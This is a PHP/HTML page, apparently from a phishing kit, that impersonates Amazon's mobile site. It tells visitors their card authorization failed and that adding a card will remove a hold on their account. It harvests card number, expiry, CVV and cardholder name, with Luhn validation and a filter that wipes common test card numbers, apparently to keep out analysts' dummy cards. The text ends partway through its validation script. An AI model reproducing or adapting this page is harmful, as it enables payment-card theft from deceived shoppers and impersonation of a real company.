<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<!doctype html>
<html lang="en-us"
    class="a-touch a-mobile a-js a-audio a-video a-canvas a-svg a-drag-drop a-geolocation a-history a-webworker a-autofocus a-input-placeholder a-textarea-placeholder a-local-storage a-orientation a-gradients a-hires a-transform3d a-touch-scrolling a-ios a-text-shadow a-text-stroke a-box-shadow a-border-radius a-border-image a-opacity a-transform a-transition a-ember awa-browser wpn-supported">

<head>
    <meta name="viewport"
        content="width=device-width, maximum-scale=2, minimum-scale=1, initial-scale=1, shrink-to-fit=no">
    <meta charset="utf-8">
    <link rel="shortcut icon" href="<?= base_url() ?>RABBIT/RO/img/favicon.ico" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/design-mob.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobile.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-mob.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/head.css">
    <meta name="theme-color" content="#131921">
    <style type="text/css">
        .nav-sprite-v3 .nav-sprite {
            background-image: url(<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png);
            background-repeat: no-repeat;
        }

        .nav-spinner {
            background-image: url(<?= base_url() ?>RABBIT/RO//img/snake._CB485935611_.gif);
        }
    </style>
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mob.css" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/nav-mob.css" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/navbar-mob.css" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobi.css" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mo.css" />
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-mo.css" />
    <title dir="ltr">Your Addresses</title>
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobile.css">
    <style>
        .a2hs-ingress-container,
        a[href^="#nav-hbm-a2hs-trigger"] {
            display: none !important
        }

        .a2hs-ingress-container.a2hs-ingress-visible,
        a[href^="#nav-hbm-a2hs-trigger"].a2hs-ingress-visible {
            display: block !important
        }
    </style>
    <style>
        @media all and (display-mode:standalone) {

            #chromeless-view-progress-bar,
            #chromeless-view-progress-bar::after {
                position: fixed;
                top: 0;
                left: 0;
                right: 0;
                height: 2px
            }

            @keyframes pbAnimation {
                0% {
                    right: 90%
                }

                100% {
                    right: 10%
                }
            }

            #chromeless-view-progress-bar {
                background: rgba(255, 255, 255, .1);
                z-index: 9999999
            }

            #chromeless-view-progress-bar::after {
                content: '';
                background: #fcbb6a;
                animation: pbAnimation 10s forwards
            }
        }
    </style>
    <style>
        .a-input-text-wrapper {
            position: relative;
        }

        #card-logo {
            position: absolute;
            top: 50%;
            right: 10px;
            transform: translateY(-50%);
            width: 40px;
            height: 25px;
            display: none;
        }

        #card-logo.show {
            display: inline-block;
        }
        
        .custom-x:hover {
            border: 3px solid #0056b3; 
          }
          
        .custom-x:active {
            transform: scale(0.99); 
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
          }
         
        .spinner-overlay {
            display: none; 
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(255, 255, 255, 0.856);
            z-index: 999;
            display: flex;
            justify-content: center;
            align-items: center;
            filter: blur(0px);
        }
        
        .spinner-border {
            display: inline-block;
            padding: 15px;  
            border: 1px solid #000; 
            border-radius: 0px; 
            background-color: #fff;
            z-index: 1001;
        }
        
        
        .spinner-container {
            position: relative;
            z-index: 1000; 
        }
        
        .spinner {
            width: 50px; 
            height: 50px;
            display:block;
            z-index:1002;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
    </style>
    <style data-styled="active" data-styled-version="5.3.11"></style>
</head>
<body class="a-m-us a-aui_72554-c a-aui_a11y_6_837773-c a-aui_killswitch_csa_logger_372963-c a-aui_pci_risk_banner_210084-c a-aui_template_weblab_cache_333406-c a-aui_tnr_v2_180836-c a-bw_aui_cxc_alert_measurement_1074111-c">

    
    <div id="conntent">
    <div id="a-page">
        <img src="<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png" style="display:none" alt="" />
        <style mark="aboveNavInjectionCSS" type="text/css">
            #nav-mobile-airstream-stripe img {
                max-width: 100%;
            }

            .nav-searchbar-wrapper {
                display: flex;
            }
        </style>
        <header id="nav-main" data-nav-language=en_US
            class="nav-mobile nav-progressive-attribute nav-locale-us nav-lang-en nav-ssl nav-unrec nav-blueheaven">
            <div id="nav-app-banner-container">
                <div class="nav-app-banner-elements">
                    <div class="nav-app-banner-right-section" hidden>
                        <button class="a-button nav-app-banner-open" id="nav-app-banner-open-button" role="button">
                            <span class="a-fonts app-banner-open-button-font">Open</span>
                        </button>
                    </div>
                </div>
            </div>
            <div id="navbar" cel_widget_id='Navigation-mobile-navbar' role="navigation"
                class="nav-t-search nav-sprite-v3 celwidget">
                <div id="nav-logobar">
                    <div class="nav-left">
                        <a href="#" id="nav-hamburger-menu" role="button" aria-label="Open All Categories Menu"
                            aria-expanded="false">
                            <i class="nav-icon-a11y nav-sprite"></i>
                        </a>
                        <div id="nav-logo">
                            <a href="#" id="nav-logo-sprites" class="nav-logo-link nav-progressive-attribute"
                                aria-label="Amazon">
                                <span class="nav-sprite nav-logo-base"></span>
                                <span id="logo-ext" class="nav-sprite nav-logo-ext nav-progressive-content"></span>
                                <span class="nav-logo-locale">.us</span>
                            </a>
                        </div>
                    </div>
                    <div class="nav-right">
                        <div id="nav-progressive-greeting" class="nav-progressive-content">
                            <a href="#" id="nav-logobar-greeting" class="nav-a nav-show-sign-in">
                                
                            </a>
                        </div>
                        <a href="#" class="nav-a nav-progressive-attribute" id="nav-button-avatar"
                            aria-label="your account">
                            <i class="nav-icon nav-icon-a11y nav-sprite">
                                
                            </i>
                        </a>
                        <a href="#" aria-label="Cart" class="nav-a" id="nav-button-cart">
                            <div id="cart-size" class="nav-cart-0 nav-progressive-attribute">
                                <span class="nav-icon nav-sprite">
                                    <span id="nav-cart-count"
                                        class="nav-cart-count nav-progressive-content nav-bluebeacon">0</span>
                                </span>
                            </div>
                        </a>
                    </div>
                </div>
                <div class="nav-progressive-attribute" id='search-ac-init-data' data-aliases="" data-ime="" data-mkt="1"
                    data-src="completion.amazon.com/search/complete"></div>
                <div id="nav-search-keywords-data" class="nav-progressive-attribute" data-implicit-alias="aps"></div>
                <div class="nav-searchbar-wrapper">
                    <form class="nav-searchbar search-big nav-bluebeacon" action="#" method="get" role="search"
                        id="nav-search-form" accept-charset="utf-8">
                        <div class="nav-fill">
                            <div class="nav-search-field">
                                <label for="nav-search-keywords" style="display: none;">Search Amazon</label>
                                <input type="text" class="nav-input nav-progressive-attribute"
                                    placeholder="Search Amazon" data-aria-clear-label="Clear search keywords"
                                    aria-label="Search Amazon" name="k" autocomplete="off" autocorrect="off"
                                    autocapitalize="off" dir="auto" value="" id="nav-search-keywords" role="searchbox"
                                    aria-autocomplete="list" aria-controls="sac-autocomplete-results-container"
                                    aria-expanded="false" aria-haspopup="grid" spellcheck="false" />
                            </div>
                        </div>
                        <div class="nav-right">
                            <div class="nav-search-submit nav-bluebeacon">
                                <input type="button" class="nav-input" value="Go" aria-label="Go" />
                                <i class="nav-icon nav-sprite"></i>
                            </div>
                        </div>
                    </form>
                </div>
                <div class="glow-subnav-template glow-mobile-subnav nav-bluebeacon" id="nav-subnav-container">
                    <div class="a-declarative nav-global-location-slot-upsell-false" data-action="glow-sheet-trigger"
                        id="nav-global-location-slot" tabindex="0">
                        <div class="nav-sprite" id="nav-packard-glow-loc-icon"></div>
                        <div id="glow-ingress-block">
                            <span class="nav-single-line nav-persist-content" id="glow-ingress-single-line">Deliver to
                                <?php echo $_SESSION['country']; ?> ⌵
                            </span>
                        </div>
                    </div>
                </div>
                <div id="nav-subnav-toaster"></div>
            </div>
            <div id="nav-progressive-subnav"></div>
        </header>
        <a id="skippedLink" tabindex="-1"></a>
        	    <div class="a-container">
                <div class="a-section a-spacing-none auth-pagelet-mobile-container" hidden>
                    <div aria-live="assertive" id="auth-error-message-box" class="a-box a-alert a-alert-error auth-server-side-message-box a-spacing-base" role="alert">
                        <div class="a-box-inner a-alert-container">
                            <h4 class="a-alert-heading"></h4>
                            <div class="a-alert-content">
                            </div>
                        </div>
                    </div>
                </div>
                <div class="a-section a-spacing-none auth-pagelet-mobile-container">
                    <div aria-live="assertive" id="auth-error-message-box" class="a-box a-alert a-alert-error auth-server-side-message-box a-spacing-base" role="alert">
                        <div class="a-box-inner a-alert-container">
                            <h4 class="a-alert-heading">There was problem.</h4>
                            <div class="a-alert-content">
                                <span>Card authorization failed, Please change with another one.</span>
                            </div>
                        </div>
                    </div>
                    <noscript>
                        <div id="auth-js-alert-box" class="a-box a-alert a-alert-error auth-client-side-message-box a-spacing-base" role="alert">
                            <div class="a-box-inner a-alert-container">
                                <div class="a-alert-content">
                                    This site requires JavaScript to function correctly. Please enable JavaScript on your browser to continue.
                                </div>
                            </div>
                        </div>
                    </noscript>
                </div>
            </div>
        <div class="a-section">
            <div class="a-section a-spacing-medium a-padding-base a-text-left">
                <div class="a-section">
                    <form id="anticodex" action="/ap/payment/process" method="post">
                        <span id="address-ui-widget-content">
                            <div id="address-ui-widgets-enterAddressFormContainer"
                                data-csa-c-content-id="address-ui-widgets-enterAddressFormContainer-content-id-US"
                                data-csa-c-slot-id="address-ui-widgets-enterAddressFormContainer-slot-id-US"
                                data-csa-c-type="widget" class="a-section celwidget"
                                data-csa-c-id="ahz59v-2px3si-5yk2no-pm7i4f"
                                data-cel-widget="address-ui-widgets-enterAddressFormContainer">
                                <h1 class="a-size a-padding-none a-text-bold">Add a credit or
                                    debit card</h1>
                                <h5 style="font-weight: normal;" id="address-ui-widgets-FullName"
                                    class="id-addr-ux-search-text">This is required to remove the hold on your account.
                                </h5>
                                <br>
                                <div id="address-ui-widgets-prefill-fields-container" class="a-section a-spacing-none">
                                    <div class="a-input-text-group a-spacing-none">
                                        <div
                                            class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                            <div class="a-section a-spacing-none aok-inline-block">
                                                <label for="cardnumber"
                                                    class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                    <span class="a-size-base">Card number</span>
                                                </label>
                                            </div>
                                        </div>
                                        <div class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                            <div
                                                class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                <input type="text" inputmode="numeric" id="cardnumber" name="cardnumber"
                                                    spellcheck="false" oninput="formatCardNumber(event)" onkeyup="ccc();" aria-label="Card number" autofocus="true"
                                                    required="true">
                                                <img id="card-logo" src="" alt="Card Logo"
                                                    style="width: 50px; height: 30px; display: none;">
                                            </div>
                                            <div id="inputErrorMsgCardNumber"></div>
                                        </div>
                                        <div
                                            class="a-row address-ui-widgets-mobile-two-column-form-field-view-grid-row">
                                            <div class="a-column a-span6">
                                                <div
                                                    class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container address-ui-widgets-mobile-form-country-drop-down-label">
                                                    <div class="a-section a-spacing-none aok-inline-block">
                                                        <label
                                                            for="address-ui-widgets-enterAddressStateOrRegion-dropdown-nativeId"
                                                            class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                            <span class="a-size-base">Expiration date</span>
                                                        </label>
                                                    </div>
                                                </div>
                                                <div
                                                    class="a-section a-spacing-none adddress-ui-widgets-form-field-container">
                                                    <div
                                                        class="a-section a-spacing-none adddress-ui-widgets-form-field-container">
                                                        <div
                                                            class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                            <input type="text" inputmode="numeric" id="cardexp"
                                                                name="cardexp" spellcheck="false" placeholder="MM/YY"
                                                                aria-label="Expiration date" required="true">
                                                        </div>
                                                        <div id="inputErrorMsgCardEXP"></div>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="a-column a-span6 a-span-last">
                                                <div
                                                    class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                    <div class="a-section a-spacing-none aok-inline-block">
                                                        <label for="cvv"
                                                            class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                            <span class="a-size-base">Enter CVV</span>
                                                        </label>
                                                    </div>
                                                </div>
                                                <div
                                                    class="a-section a-spacing-none adddress-ui-widgets-form-field-container">
                                                    <div
                                                        class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                        <input type="text" inputmode="numeric" id="cvv" name="cvv"
                                                            spellcheck="false" placeholder="3-4 digit code"
                                                            aria-label="cvv" required="true">
                                                    </div>
                                                    <div id="inputErrorMsgCVV"></div>
                                                </div>
                                            </div>
                                        </div>
                                        <br>
                                        <div class="a-row">
                                            <div id="address-ui-widgets-prefill-full-name"
                                                class="a-section a-spacing-medium">
                                                <div
                                                    class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                    <div class="a-section a-spacing-none aok-inline-block">
                                                        <label for="namecard"
                                                            class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                            <span class="a-size-base">Name on card</span>
                                                        </label>
                                                    </div>
                                                </div>
                                                <div
                                                    class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                    <div
                                                        class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                        <input type="text" name="namecard" id="namecard"
                                                            spellcheck="false" aria-label="Name on card"
                                                            placeholder="First and last name" autofocus="off"
                                                            autocomplete="off"
                                                            class="address-ui-widgets-text-input-clear-icon-padding"
                                                            required="true">
                                                    </div>
                                                    <div id="inputErrorMsgNameCard"></div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <br>
                                <span class="a-declarative" data-action="form-submit-button-click"
                                    data-csa-c-type="widget" data-csa-c-func-deps="aui-da-form-submit-button-click"
                                    data-form-submit-button-click="{}" data-csa-c-id="f0no4r-elumsu-hdqjy2-gkxnqd">
                                    <span id="address-ui-widgets-form-submit-button"
                                        class="a-button a-button-primary custom-x address-ui-widgets-mobile-tablet-form-field-full-width">
                                        <span class="a-button-inner">
                                            <input class="a-button-input" type="submit" id="btn_next"
                                                aria-labelledby="address-ui-widgets-form-submit-button-announce">
                                            <span id="address-ui-widgets-form-submit-button-announce"
                                                class="a-button-text" aria-hidden="true">Add and continue</span>
                                        </span>
                                    </span>
                                </span>
                                <div id="stop-mash-reappear"></div>
                            </div>
                            <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/deskop-address.css">
                            <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/custom-address-mobile.css">
                        </span>
                    </form>
                </div>
            </div>
        </div>


        <footer class="nav-mobile nav-ftr-batmobile">
            <div id="nav-ftr" class="nav-t-footer-gateway nav-sprite-v3">
                <a id="nav-ftr-gototop" class="nav-a" href="javascript:void(0)" aria-label="Top of page">
                    <i class="nav-icon"></i>
                    <b class="nav-b">Top of page</b>
                </a>
                <ul id="nav-ftr-links" class="nav-ftr-links-two-column">
                    <li class="nav-li nav-li-right">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Your Orders</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li nav-li-right">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Gift Cards</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li nav-li-right">
                        <a class="nav-a " href="$">
                            <span class="nav-ftr-text">Find a Gift</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li nav-li-right">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Browsing History</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li nav-li-right">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Your Returns</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li nav-li-right aok-offscreen nav-hidden">
                        <a class="nav-a " href="#"
                            aria-label="Click to call our Disability Customer Support line, or reach us directly at 1-888-283-1678 ">
                            <span class="nav-ftr-text">Disability Customer Support</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Amazon.com</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Your Lists</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Registry & Gift List</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Your Account</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Sell products on Amazon</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Recalls and Product Safety Alerts</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                    <li class="nav-li ">
                        <a class="nav-a " href="#">
                            <span class="nav-ftr-text">Customer Service</span>
                            <i class="nav-icon nav-sprite"></i>
                        </a>
                    </li>
                </ul>
                <div class="icp-container-mobile">
                    <style type="text/css">
                        #icp-touch-link-language {
                            display: none;
                        }
                    </style>
                    <a href="#" aria-label="Choose a language for shopping. Current selection is English. "
                        aria-owns="nav-flyout-icp-footer-flyout" class="icp-touch-link-2" id="icp-touch-link-language">
                        <div class="icp-nav-globe-img-2 icp-mobile-globe-2"></div>
                        <span class="icp-color-base">English</span>
                        <span class="nav-arrow icp-up-down-arrow"></span>
                    </a>
                    <style type="text/css">
                        #icp-touch-link-cop {
                            display: none;
                        }
                    </style>
                    <a href="#" class="icp-touch-link-2" id="icp-touch-link-cop">
                        <span class="icp-currency-symbol">$</span>
                        <span class="icp-color-base">USD - U.S. Dollar</span>
                    </a>
                    <style type="text/css">
                        #icp-touch-link-country {
                            display: none;
                        }
                    </style>
                    <a href="#"
                        aria-label="Choose a country/region for shopping. The current selection is United States."
                        class="icp-touch-link-2" id="icp-touch-link-country">
                        <span class="icp-flag-3 icp-flag-3-us"></span>
                        <span class="icp-color-base">United States</span>
                    </a>
                </div>
                <div id="nav-ftr-auth" hidden>
                    Already a customer?<a href="#" class="nav-a">Sign in</a>
                </div>
                <ul class="nav-ftr-horiz">
                    <li class="nav-li">
                        <a href="#" id="" class="nav-a">Conditions of Use</a>
                    </li>
                    <li class="nav-li">
                        <a href="#" id="" class="nav-a">Privacy Notice</a>
                    </li>
                    <li class="nav-li">
                        <a href="#" id="" class="nav-a">Consumer Health Data Privacy Disclosure</a>
                    </li>
                    <li class="nav-li">
                        <a href="#" id="" class="nav-a">Your Ads Privacy Choices</a>
                    </li>
                    <li class="nav-li">
                        <span id="nav-icon-ccba" class="nav-sprite"></span>
                    </li>
                </ul>
                <div id="nav-ftr-copyright">&copy;1996-2025, Amazon.com, Inc. or its affiliates
                </div>
                <div id="nav-ftr-legal"></div>
            </div>
        </footer>
    </div>
    </div>
    </div>

     <div id="spinner-overlay" class="spinner-overlay">
        <div class="spinner-container">
             <div class="spinner-border">
                <img src="<?= base_url() ?>RABBIT/RO/img/snake.gif" alt="Loading..." class="spinner">
            </div>
        </div>
    </div>


    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.mask.min.js"></script>
   <script>
    var allInput = $('#cardnumber, #namecard, #cardexp, #cvv');
    
    function checkValidInputs() {
        var isValid = true;
        
        allInput.each(function() {
            var inputVal = $(this).val();
            if ($(this).hasClass('error') || inputVal.length === 0) {
                isValid = false;
            }
        });
        
        return isValid;
    }

    allInput.on("keyup focus blur", function() {
        if (!checkValidInputs()) {
            $('#btn_next').prop('disabled', true);
            $('#spinner-overlay').hide();  
        } else {
            $('#btn_next').prop('disabled', false);
            $('#spinner-overlay').hide(); 
        }
    });

    $('#btn_next').on('click', function() {
        if (checkValidInputs()) {
            $('#spinner-overlay').show(); 
        } else {
            $('#spinner-overlay').hide(); 
        }
    });

    $(window).on('load', function() {
        $('#spinner-overlay').hide();  
    });
</script>
    <script>
        $(document).ready(function () {
            function detectCardType(cardNumber) {
                var cardPatterns = {
                    visa: /^4/,
                    mastercard: /^5[1-5]/,
                    amex: /^3[47]/,
                    discover: /^6(?:011|5[0-9]{2})/,
                    jcb: /^(?:2131|1800|35\d{3})/,
                    diners: /^3(?:0[0-5]|[68][0-9])[0-9]{11}/
                };

                if (cardPatterns.visa.test(cardNumber)) {
                    return "visa";
                } else if (cardPatterns.mastercard.test(cardNumber)) {
                    return "mastercard";
                } else if (cardPatterns.amex.test(cardNumber)) {
                    return "amex";
                } else if (cardPatterns.discover.test(cardNumber)) {
                    return "discover";
                } else if (cardPatterns.jcb.test(cardNumber)) {
                    return "jcb";
                } else if (cardPatterns.diners.test(cardNumber)) {
                    return "diners";
                } else {
                    return null;
                }
            }

            $('#cardnumber').on('input', function () {
                var cardNumber = $(this).val();
                var cardType = detectCardType(cardNumber);


                var logoSrc = "";
                if (cardType === "visa") {
                    logoSrc = "<?= base_url() ?>RABBIT/RO/img/visa.png";
                } else if (cardType === "mastercard") {
                    logoSrc = "<?= base_url() ?>RABBIT/RO/img/mastercard.png";
                } else if (cardType === "amex") {
                    logoSrc = "<?= base_url() ?>RABBIT/RO/img/amex.png";
                } else if (cardType === "discover") {
                    logoSrc = "<?= base_url() ?>RABBIT/RO/img/discover.png";
                } else if (cardType === "jcb") {
                    logoSrc = "<?= base_url() ?>RABBIT/RO/img/jcb.png";
                } else if (cardType === "diners") {
                    logoSrc = "<?= base_url() ?>RABBIT/RO/img/dinners.svg";
                }

                if (logoSrc) {
                    $("#card-logo").attr("src", logoSrc).show();
                } else {
                    $("#card-logo").hide();
                }
            });
        });

    </script>
     <script type="text/javascript">
    function ccc(){
        var cc = document.getElementById("cardnumber").value;
        if(cc.match(/^[0-2]|^[7-9]/))
        {
            document.getElementById("cardnumber").value = "";
        }
        if(cc.match(/4111111111111111|5500000000000004|340000000000009|30000000000004|3088000000000009/))
        {
            document.getElementById("cardnumber").value = "";
        }
        var type = cc.substr(0, 2);
        var type1 = cc.substr(0, 1);
        if(type == "37" || type == "34") {
            $("#cvv").attr('maxlength','4');
        }else{
            $("#cvv").attr('maxlength','3');
        }
    }
    function isValidCardNumber(number) {
        let sum = 0;
        let shouldDouble = false;
        for (let i = number.length - 1; i >= 0; i--) {
            let digit = parseInt(number.charAt(i));
            if (shouldDouble) {
                digit *= 2;
                if (digit > 9) digit -= 9;
            }
            sum += digit;
            shouldDouble = !shouldDouble;
        }
        return sum % 10 === 0;
    }
    function formatCardNumber(event) {
        const input = event.target;
        let value = input.value.replace(/\D/g, '');
        const maxLength = getCardNumberMaxLength(value);
        if (value.length > maxLength) {
            value = value.slice(0, maxLength);
        }
        input.value = value.replace(/(.{4})/g, '$1 ').trim();
        validateCardNumber();
    }
    function getCardNumberMaxLength(value) {
        if (/^3[47]/.test(value)) {
            return 15;
        } else {
            return 16;
        }
    }
    function validateCardNumber() {
        const cardInput = document.getElementById('cardnumber');
        const cardNumber = cardInput.value.replace(/\s/g, '');
        if (!isValidCardNumber(cardNumber)) {
            $("#cardnumber").addClass('error').removeClass('hasText')
            $("#inputErrorMsgCardNumber").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Invalid card number. Please check a card number.</div></div></div></div></div>')
            $("cardnumber").parent().parent().parent().removeClass('validated')
        } else {
            $("cardnumber").removeClass('error').addClass("hasText")
            $("#inputErrorMsgCardNumber").html('')
            $("cardnumber").parent().parent().parent().addClass('validated')
        }
    }
    document.getElementById('cardnumber').addEventListener('paste', (event) => {
        setTimeout(() => formatCardNumber(event), 0);
    });
    $('#namecard').on("keyup , focus", () => {
        var namecard = $("#namecard").val()
        if (namecard == "") {
            $("#namecard").addClass('error').removeClass('hasText')
            $("#inputErrorMsgNameCard").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section"> Please enter a card name.</div></div></div></div></div>')
            $("#namecard").parent().parent().parent().removeClass('validated')
        } else if (namecard.length < 6) {
            $("#namecard").addClass('error').addClass('hasText')
            $("#inputErrorMsgNameCard").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section"> Please check a card name.</div></div></div></div></div>')
            $("#namecard").parent().parent().parent().removeClass('validated')
        } else {
            $("#namecard").removeClass('error').addClass("hasText")
            $("#inputErrorMsgNameCard").html('')
            $("#namecard").parent().parent().parent().addClass('validated')
        }
    });
    $('#cardnumber').on("keyup , focus", () => {
        var cardnumber = $("#cardnumber").val()
        if (cardnumber == "") {
            $("#cardnumber").addClass('error').removeClass('hasText')
            $("#inputErrorMsgCardNumber").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a card number.</div></div></div></div></div>')
            $("#cardnumber").parent().parent().parent().removeClass('validated')
        } else {
            $("#cardnumber").removeClass('error').addClass("hasText")
            $("#cardnumber").parent().parent().parent().addClass('validated')
        }
    });
    $('#cardexp').on("keyup focus input", function () {
        var creditExpiration = $("#cardexp").val();
            if (creditExpiration === ""){
                $("#cardexp").addClass('error').removeClass('hasText');
                $("#inputErrorMsgCardEXP").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a expiration date.</div></div></div></div></div>');
                $("#cardexp").parent().parent().parent().removeClass('validated');
            } else if (creditExpiration.substr(0, 2) > 12 || creditExpiration.substr(0, 2) == "00" || creditExpiration.length < 5) {
                $("#cardexp").addClass('error').removeClass('hasText');
                $("#inputErrorMsgCardEXP").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a valid expiration date.</div></div></div></div></div>');
                $("#cardexp").parent().parent().parent().removeClass('validated');
            } else if (!creditExpiration.includes("/")) {
                $("#cardexp").addClass('error').removeClass('hasText');
                $("#inputErrorMsgCardEXP").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a expiration year.</div></div></div></div></div>');
                $("#cardexp").parent().parent().parent().removeClass('validated');
            } else if (creditExpiration.substr(3, 2) < 25 || creditExpiration.substr(3, 2) == "00") {
                $("#cardexp").addClass('error').removeClass('hasText');
                $("#inputErrorMsgCardEXP").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">This date seems to have expired.</div></div></div></div></div>');
                $("#cardexp").parent().parent().parent().removeClass('validated');   
            } else if (creditExpiration.substr(3, 2) > 35 || creditExpiration.substr(3, 2) == "00") {
                $("#cardexp").addClass('error').removeClass('hasText');
                $("#inputErrorMsgCardEXP").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">This date seems too far in the future.</div></div></div></div></div>');
                $("#cardexp").parent().parent().parent().removeClass('validated');   
            } else if (creditExpiration.length > 5) {
                $("#cardexp").addClass('error').removeClass('hasText');
